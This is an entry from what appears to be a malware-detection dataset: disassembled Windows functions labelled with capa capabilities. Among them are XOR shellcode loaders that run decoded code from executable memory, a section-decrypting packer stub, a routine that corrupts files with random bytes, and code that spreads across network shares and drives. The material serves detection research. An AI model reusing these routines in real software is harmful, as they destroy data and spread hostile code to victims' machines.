joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4044dd
Capabilities:
Delete file
Read .ini file

Disassembly:
mov eax, 0x1004
call fcn.00408e10
mov eax, dword [0x42f180]
xor eax, esp
mov dword [esp + 0x1000], eax
push ebx
push ebp
push esi
push edi
push dword [0x43292c]
mov edi, dword [sym.imp.kernel32.dll_GetPrivateProfileStringA]
mov ebp, 0x1000
push ebp
lea eax, [esp + 0x18]
push eax
mov ebx, 0x425524
push ebx
push str.title
mov esi, 0x425f40
push esi
call edi
push 0x50
pop ecx
lea eax, [esp + 0x10]
mov edx, 0x431140
call fcn.0040507c
push dword [0x43292c]
lea eax, [esp + 0x14]
push ebp
push eax
push ebx
push str.info
push esi
call edi
mov ecx, ebp
lea eax, [esp + 0x10]
mov edx, 0x431580
call fcn.0040507c
push dword [0x43292c]
push 0x50
push 0x4327c0
push ebx
push str.build_info
push esi
call edi
push dword [0x43292c]
mov ebp, dword [sym.imp.kernel32.dll_GetPrivateProfileIntA]
push 1
push str.target_compile
push esi
call ebp
push dword [0x43292c]
mov dword [0x431194], eax
push 1
push str.target_optimize
push esi
call ebp
push dword [0x43292c]
mov dword [0x431190], eax
push 0xa
push 0x432590
push ebx
push str.target_version
push esi
call edi
push dword [0x43292c]
push 0x50
push 0x4312c0
push ebx
push str.name
push str.metadata
call edi
push dword [0x43292c]
push 0x104
push 0x4311a0
push ebx
push str.install_script
push esi
call edi
push dword [0x43292c]
mov ebp, 0x431550
push 0xa
push ebp
push ebx
push str.user_access_control
push esi
call edi
push 6
mov edi, str.force
mov esi, ebp
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x40462b
call fcn.0040507c
test eax, eax
je 0x404688
call fcn.00403547
test eax, eax
jne 0x404688
call fcn.0040507c
jmp 0x4046cb
push 5
mov edi, str.auto
mov esi, ebp
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x404658
call fcn.0040507c
test eax, eax
je 0x404688
call fcn.00403547
test eax, eax
jne 0x404688
call fcn.0040507c
test eax, eax
je 0x404688
jmp 0x404621
cmp byte [0x431550], al
je 0x404688
push 5
mov edi, str.none
mov esi, ebp
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x404688
push eax
push str.oops
push str.Bad_user_access_control_value
call dword [sym.imp.USER32.dll_GetFocus]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x431140
call fcn.00402766
push eax
mov dword [0x432580], eax
call fcn.0040507c
pop ecx
pop ecx
push dword [0x432814]
call dword [sym.imp.kernel32.dll_UnmapViewOfFile]
mov eax, dword [0x43292c]
test eax, eax
je 0x4046bb
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov eax, dword [0x432930]
test eax, eax
je 0x4046cb
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
mov ecx, dword [esp + 0x1010]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00407875
add esp, 0x1004
ret
Function at 0x40507c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x40508b
pop dword [ebp - 0x14]
mov eax, 0x6989f59f
add eax, 0x96b65aec
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x3dedf
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x481f
mov edi, eax
mov edx, 0xed714b4a
add edx, 0x12d208b6
add edx, dword [ebp - 0x14]
mov esi, 0x7244911
add dword [ebp - 4], 0xa3d49b94
mov ebx, dword [edx]
xor dword [ebp - 8], 0x6ee4210f
xor ebx, esi
xor dword [ebp - 0xc], edx
mov dword [edi], ebx
add dword [ebp - 0xc], 0xdc31b02
add edi, 4
add edx, 0xd175dd4c
sub edx, 0xd175dd48
loop 0x4050d9
add eax, 0x1134f
xor ebx, ebx
add ebx, eax
add eax, 0x6346a8ba
add eax, 0x9cb9574b
mov ecx, 0x9d4fb57d
add ecx, 0x62f04a83
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x407875
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42f180]
jne 0x40787f
repz ret
jmp fcn.0040bbd7
Function at 0x406315
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40ba88
cmp edx, dword [eax]
je 0x406337
add eax, 8
inc ecx
cmp eax, 0x40bb18
jl 0x406328
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40ba88]
jne 0x406465
mov eax, dword [0x40bfd4]
cmp eax, 1
je 0x40643f
test eax, eax
jne 0x406368
cmp dword [0x40b734], 1
je 0x40643f
cmp edx, 0xfc
je 0x406465
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40639f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004037e0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004038d0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4063e2
lea eax, [ebp - 0x1a4]
push eax
call fcn.004038d0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x409584
push edi
call fcn.004077e0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004037e0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004037f0
lea eax, [ebp - 0xa0]
push 0x409564
push eax
call fcn.004037f0
push dword [esi + 0x40ba8c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004037f0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00407756
add esp, 0x2c
pop edi
jmp 0x406465
lea eax, [ebp + 8]
lea esi, [esi + 0x40ba8c]
push 0
push eax
push dword [esi]
call fcn.004038d0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x4031d0
Capabilities:
Hide graphical window

Disassembly:
enter 4, 1
push ebx
push ecx
push edx
mov dword [ebp - 8], esp
mov al, byte [0x40b32c]
test al, al
jne 0x40323f
push dword [0x40b478]
push 0x40b404
push 0xff0000
push dword [0x4093e7]
push dword [0x4093eb]
push dword [0x4093ef]
push dword [0x4093f3]
push 0
push 0
push dword [0x40b058]
push 0
call fcn.00403270
mov dword [0x4093cc], eax
push dword [0x40b060]
push dword [0x4093cc]
call sub.user32.dll_ShowWindow
push dword [0x4093cc]
call sub.user32.dll_UpdateWindow
jmp 0x40325a
mov al, byte [ebp + 8]
test al, al
je 0x40325a
push 0x40b404
push 0
push 0xc
push dword [0x4093cc]
call sub.user32.dll_SendMessageA
call fcn.00402dd0
pop edx
pop ecx
pop ebx
leave
ret 4
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x403203
pop dword [ebp - 0x18]
mov eax, 0x69b70b4f
sub eax, 0x6976d94c
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x3911c5f4
sub dword [ebp - 0x28], 0xeabf80a9
mov dword [ebp - 0x24], 0xe22e3ed4
add dword [ebp - 0x24], 0x50050d71
mov dword [ebp - 0x20], 0x25a4bd34
add dword [ebp - 0x20], 0x26a786fa
mov dword [ebp - 0x1c], 0x267c44de
sub dword [ebp - 0x1c], 0x267c44de
lea eax, [ebp - 0x28]
push eax
mov eax, 0x4f74cf4c
sub eax, 0x4f344ec0
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xe9590162
add dword [ebp - 0x28], 0x8b1967f4
mov dword [ebp - 0x24], 0xb6f758e
add dword [ebp - 0x24], 0x35fcebe7
mov dword [ebp - 0x20], 0x9a1b1798
sub dword [ebp - 0x20], 0x36abab2c
mov dword [ebp - 0x1c], 0x9ce095b8
add dword [ebp - 0x1c], 0x631f6a48
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x51e7720b
add eax, 0xae590ec9
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3a1f9
push 0
call eax
mov ecx, 0xd9ea50a
add ecx, 0xf261b114
mov esi, eax
mov edx, 0x411000
add edx, dword [ebp - 0x18]
mov edi, 0xe0f99166
sub edi, 0x781b9abe
add dword [ebp - 0x10], esi
mov ebx, dword [edx]
xor dword [ebp - 0xc], 0x5419516e
add ebx, edi
sub dword [ebp - 0x14], eax
mov dword [esi], ebx
mov dword [ebp - 0x10], 0xbd8a5126
add esi, 0x79d7aac1
add esi, 0x86285543
add edx, 0xe559e155
sub edx, 0xe559e151
loop 0x40331f
add eax, 0x14b4b
mov ebx, eax
add eax, 0x8d289d00
add eax, 0x72d76305
mov ecx, 0x5a00a124
sub ecx, 0x59c0a124
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x403350
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push str._n__Fatal_error:__s._n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00402540
add esp, 0xc
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push str.File___s___Line__d_n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00402540
add esp, 0x10
push 2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x405de0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push 0x407f90
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00402540
add esp, 0xc
push 2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x4064a9
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x408f28
call fcn.00406c60
push 1
call fcn.0040672b
pop ecx
test al, al
jne 0x40635a
push 7
call fcn.00406a45
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.004066f6
mov byte [ebp - 0x24], al
mov eax, dword [0x40a7dc]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x406353
test eax, eax
jne 0x4063c4
mov dword [0x40a7dc], ecx
push 0x407144
push 0x407138
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x4063a7
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x4064a3
push 0x407134
push 0x40712c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
pop ecx
pop ecx
mov dword [0x40a7dc], 2
jmp 0x4063c9
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.00406898
pop ecx
call fcn.00406a39
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x4063f9
push esi
call fcn.0040680e
pop ecx
test al, al
je 0x4063f9
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.00406c50
call esi
call fcn.00406a3f
mov esi, eax
cmp dword [esi], edi
je 0x406417
push esi
call fcn.0040680e
pop ecx
test al, al
je 0x406417
push dword [esi]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
pop ecx
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argv
mov edi, dword [eax]
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argc
mov esi, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_initial_narrow_environment
push eax
push edi
push dword [esi]
call main
add esp, 0xc
mov esi, eax
call fcn.00406b61
test al, al
jne 0x406447
push esi
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
test bl, bl
jne 0x406450
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
push 0
push 1
call fcn.004068b5
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x4064a3
call fcn.00406ca6
ret
call fcn.0040697c
jmp 0x40633b
Function at 0x40893b
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x4085d8
sub esi, esi
call fcn.00408965
add ebx, 0x727f486f
mov esi, ebx
xor dword [ecx], edx
push esi
pop esi
sub ebx, 0x4a8a4b49
inc ecx
sub ebx, ebx
or esi, ebx
cmp ecx, eax
jne fcn.0040893b
add esi, ebx
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
mov ecx, 0x319e6eac
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x10ae28a5
nop
nop
test eax, eax
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x4025cc
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebx
push esi
add esp, 0xfffffdf0
mov esi, edx
mov ebx, eax
test bl, bl
je 0x402609
xor eax, eax
mov al, bl
add eax, 0x41
dec eax
mov byte [esp], al
mov byte [esp + 1], 0x3a
mov byte [esp + 2], 0
lea eax, [esp + 0x109]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
push esp
call sub.kernel32.dll_SetCurrentDirectoryA
lea eax, [esp + 4]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
test bl, bl
je 0x402629
lea eax, [esp + 0x109]
push eax
call sub.kernel32.dll_SetCurrentDirectoryA
mov eax, esi
lea edx, [esp + 4]
mov ecx, 0x105
call fcn.0040344c
add esp, 0x210
pop esi
pop ebx
ret

Function at 0x4027f0
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004032e0
test esi, esi
jne 0x402826
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004033d0
jmp 0x402844
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004026a4
mov edi, eax
test esi, esi
je 0x402844
cmp dword [ebx], 0
je 0x402844
dec esi
jmp 0x40282d
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x4028f0
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x406008], 0x8088405
inc edx
mov dword [ebx + 0x406008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x402a84
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x406010]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402b1c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402afc
xor eax, eax
push ebp
push 0x402af5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402b38
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402afc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x406010]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x406010], ax
mov esp, ebp
pop ebp
ret

Function at 0x403164
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x407034], 0
je 0x4031c5
cmp word [0x407208], 0xd7b2
jne 0x40318d
cmp dword [0x407210], 0
jbe 0x40318d
mov eax, 0x407204
call dword [0x407220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x406058
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4031ec
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x40601c], 0
jne 0x4031e1
push 0
push 0x406050
push 0x406058
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x4038e8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x40394e
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.0040344c
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402978
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x403938
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403955
lea eax, [ebp - 0x10]
call fcn.004032e0
ret
Function at 0x404470
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, edx
mov ebx, eax
mov eax, dword [ebp + 8]
movzx eax, byte [eax - 9]
cmp ebx, eax
jg 0x4044e1
mov edx, dword [ebp + 8]
cmp esi, eax
jl 0x4044e1
mov eax, esi
sub eax, ebx
inc eax
call fcn.004028f0
add ebx, eax
mov eax, dword [ebp + 8]
mov byte [eax - 9], bl
mov eax, dword [ebp + 8]
mov al, byte [eax - 9]
mov edx, dword [ebp + 8]
mov byte [edx - 1], al
push 0
push 0
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x14]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x10]
push eax
call sub.kernel32.dll_SetFilePointer
push 0
mov eax, dword [ebp + 8]
add eax, 0xfffffff8
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x18]
push eax
mov eax, dword [ebp + 8]
dec eax
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x10]
push eax
call sub.kernel32.dll_WriteFile_1
pop esi
pop ebx
pop ebp
ret

Function at 0x4044e8
Capabilities:
Get file size
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff5c
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
call fcn.00403654
xor eax, eax
push ebp
push 0x4046b4
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00402850
xor edx, edx
push ebp
push 0x404697
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x80
mov eax, dword [ebp - 0x1c]
call fcn.00403664
mov ebx, eax
push ebx
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [0x4060a4]
mov byte [eax], 0
push 2
lea eax, [ebp - 0xa4]
push eax
push ebx
call sub.kernel32.dll_OpenFile
mov dword [ebp - 0x10], eax
push 0
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_GetFileSize
mov esi, eax
mov eax, esi
cdq
idiv edi
cmp eax, 0x3e8
jge 0x40456c
xor eax, eax
cmp eax, 0xf4240
jle 0x404578
mov eax, 0xf4240
cmp esi, 0x1002
jle 0x404678
mov ebx, eax
test ebx, ebx
jle 0x404678
mov edi, 1
mov eax, edi
mov ecx, 0x7d0
cdq
idiv ecx
test edx, edx
jne 0x4045a8
push 0x64
call sub.kernel32.dll_Sleep
mov eax, esi
sub eax, 0x1001
call fcn.004028f0
add eax, 0x1000
mov dword [ebp - 0x14], eax
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x18]
push eax
push 1
lea eax, [ebp - 1]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_ReadFile
mov al, byte [ebp - 1]
mov byte [ebp - 9], al
push ebp
mov edx, 0x39
mov eax, 0x30
call fcn.00404470
pop ecx
push ebp
mov edx, 0x5a
mov eax, 0x41
call fcn.00404470
pop ecx
push ebp
mov edx, 0x7a
mov eax, 0x61
call fcn.00404470
pop ecx
push ebp
mov edx, 0x9f
mov eax, 0x80
call fcn.00404470
pop ecx
push ebp
mov edx, 0xaf
mov eax, 0xa0
call fcn.00404470
pop ecx
push ebp
mov edx, 0xdf
mov eax, 0xc0
call fcn.00404470
pop ecx
push ebp
mov edx, 0xf1
mov eax, 0xe0
call fcn.00404470
pop ecx
push ebp
mov edx, 0xff
mov eax, 0xf2
call fcn.00404470
pop ecx
inc edi
dec ebx
jne 0x404593
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x4060a4]
mov byte [eax], 2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40469e
ret
Function at 0x404adc
Capabilities:
Connect network resource
Enumerate network shares
Set current directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
xor edx, edx
mov dword [ebp - 0x1c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x404c8d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
push ebx
push 0
push 0
push 2
call sub.mpr.dll_WNetOpenEnumA
test eax, eax
jne 0x404c77
xor edx, edx
push ebp
push 0x404c70
push dword fs:[edx]
mov dword fs:[edx], esp
mov dword [ebp - 8], 0x760
mov eax, dword [ebp - 8]
call fcn.00402470
mov dword [ebp - 0x10], eax
xor edx, edx
push ebp
push 0x404c52
push dword fs:[edx]
mov dword fs:[edx], esp
mov dword [ebp - 0x14], 1
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.mpr.dll_WNetEnumResourceA
cmp eax, 0xea
jne 0x404b7a
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004024b0
jmp 0x404b3e
test eax, eax
je 0x404b8d
call fcn.00402e38
call fcn.00402e38
jmp 0x404c77
mov eax, dword [ebp - 0x14]
dec eax
test eax, eax
jl 0x404b3e
inc eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x18]
shl eax, 2
mov edx, dword [ebp - 0x10]
lea ebx, [edx + eax*8]
mov edx, dword [ebx + 0xc]
and edx, 2
cmp edx, 2
jne 0x404bc2
mov edx, dword [ebp - 0x10]
lea eax, [edx + eax*8]
call fcn.00404adc
cmp dword [ebx + 8], 3
jne 0x404c28
xor eax, eax
push ebp
push 0x404c21
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1c]
mov edx, dword [ebx + 0x14]
call fcn.00403410
push 0x404c9c
push 0
mov eax, dword [ebp - 0x1c]
call fcn.00403664
push eax
call sub.mpr.dll_WNetAddConnectionA
push 0x404ca0
call sub.kernel32.dll_SetCurrentDirectoryA_1
xor eax, eax
call fcn.004046f4
push 0xffffffffffffffff
push 0x404c9c
call sub.mpr.dll_WNetCancelConnectionA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404c28
ret
inc dword [ebp - 0x18]
dec dword [ebp - 0x20]
jne 0x404ba0
jmp 0x404b3e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404c94
lea eax, [ebp - 0x1c]
call fcn.004032e0
ret
Function at 0x404ca4
Capabilities:
Get disk information
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
xor eax, eax
push ebp
push 0x404db4
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.004046c4
cmp word [0x40e2c0], 0x7d8
ja 0x404cef
cmp word [0x40e2be], 3
ja 0x404cef
cmp word [0x40e2be], 3
jne 0x404d9e
cmp word [0x40e2bc], 2
jbe 0x404d9e
mov esi, 0x5a
lea eax, [ebp - 4]
mov ebx, esi
mov edx, ebx
call fcn.00403400
mov edx, dword [ebp - 4]
mov eax, 0x40e274
mov ecx, 0x404dc8
call fcn.004034b0
mov byte [0x40e2c2], bl
mov eax, dword [0x40e274]
call fcn.00403664
push eax
call sub.kernel32.dll_GetDriveTypeA
mov dword [0x40e2b8], eax
cmp dword [0x40e2b8], 2
jne 0x404d94
mov al, byte [0x40e2c2]
call fcn.00403e24
test al, al
je 0x404d5d
mov eax, dword [0x40e274]
call fcn.00403664
push eax
call sub.kernel32.dll_SetCurrentDirectoryA_1
mov al, 1
call fcn.004046f4
jmp 0x404d94
cmp dword [0x40e2b8], 4
je 0x404d6f
cmp dword [0x40e2b8], 3
jne 0x404d94
mov al, byte [0x40e2c2]
call fcn.00403e24
test al, al
je 0x404d94
mov eax, dword [0x40e274]
call fcn.00403664
push eax
call sub.kernel32.dll_SetCurrentDirectoryA_1
xor eax, eax
call fcn.004046f4
dec esi
cmp esi, 0x42
jne 0x404cf4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404dbb
lea eax, [ebp - 4]
call fcn.004032e0
ret